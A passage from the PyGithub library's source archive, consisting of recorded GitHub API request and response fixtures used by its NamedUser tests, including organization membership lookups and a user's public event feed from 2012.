{"url":"https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6","state":"active","role":"member","user":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":15225059,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"organization":{"issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","description":null,"public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","url":"https://api.github.com/orgs/BeaverSoftware","events_url":"https://api.github.com/orgs/BeaverSoftware/events","avatar_url":"https://avatars0.githubusercontent.com/u/1553906?v=4","node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM5MDY=","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","login":"BeaverSoftware","id":1553906,"hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks"},"organization_url":"https://api.github.com/orgs/BeaverSoftware"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetOrganizationMembershipNotMember.txt0000644000175100001660000000312314756101563030431 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/memberships/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'A8C4:4363:18B898:1CC4F3:5DB80872'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('content-encoding', 'gzip'), ('date', 'Tue, 29 Oct 2019 09:38:04 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'admin:org, read:org, repo, user, write:org'), ('x-ratelimit-reset', '1572345425')] {"documentation_url": "https://developer.github.com/v3/orgs/members/#get-organization-membership", "message": "Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetOrgs.txt0000644000175100001660000000133014756101563023050 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/orgs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '262'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"82deae94305d8c551e4874e06f6efd48"'), ('date', 'Sun, 20 May 2012 12:27:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/orgs/BeaverSoftware","login":"BeaverSoftware","id":1424031}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetPublicEvents.txt0000644000175100001660000012735714756101563024563 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/events/public {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '44220'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"c2fc2e5ccf4abdbd7b603c90a9254d37"'), ('date', 'Sat, 26 May 2012 10:48:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"PushEvent","payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T10:01:39Z","id":"1556114751","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":null,"ref_type":"repository","description":"Repo created by PyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/TestPyGithub","id":4454027,"name":"jacquev6/TestPyGithub"},"created_at":"2012-05-26T09:55:27Z","id":"1556114217","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-26T09:50:02Z","public":true,"comments":0,"git_push_url":"git@gist.github.com:2793179.git","files":{},"updated_at":"2012-05-26T09:50:02Z","url":"https://api.github.com/gists/2793179","id":"2793179","git_pull_url":"git://gist.github.com/2793179.git","description":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2793179"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-26T09:50:03Z","id":"1556113740","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/29","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940993","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940986","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936661","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"topic/Authentication"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936660","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936659","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:47Z","id":"1555936657","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:24:21Z","id":"1555833283","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:02:48Z","id":"1555822981","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:31:42Z","id":"1555742639","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:05:21Z","id":"1555738288","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:59:48Z","id":"1554729420","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:15:30Z","id":"1554712197","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242556","id":242556,"description":"Download created by 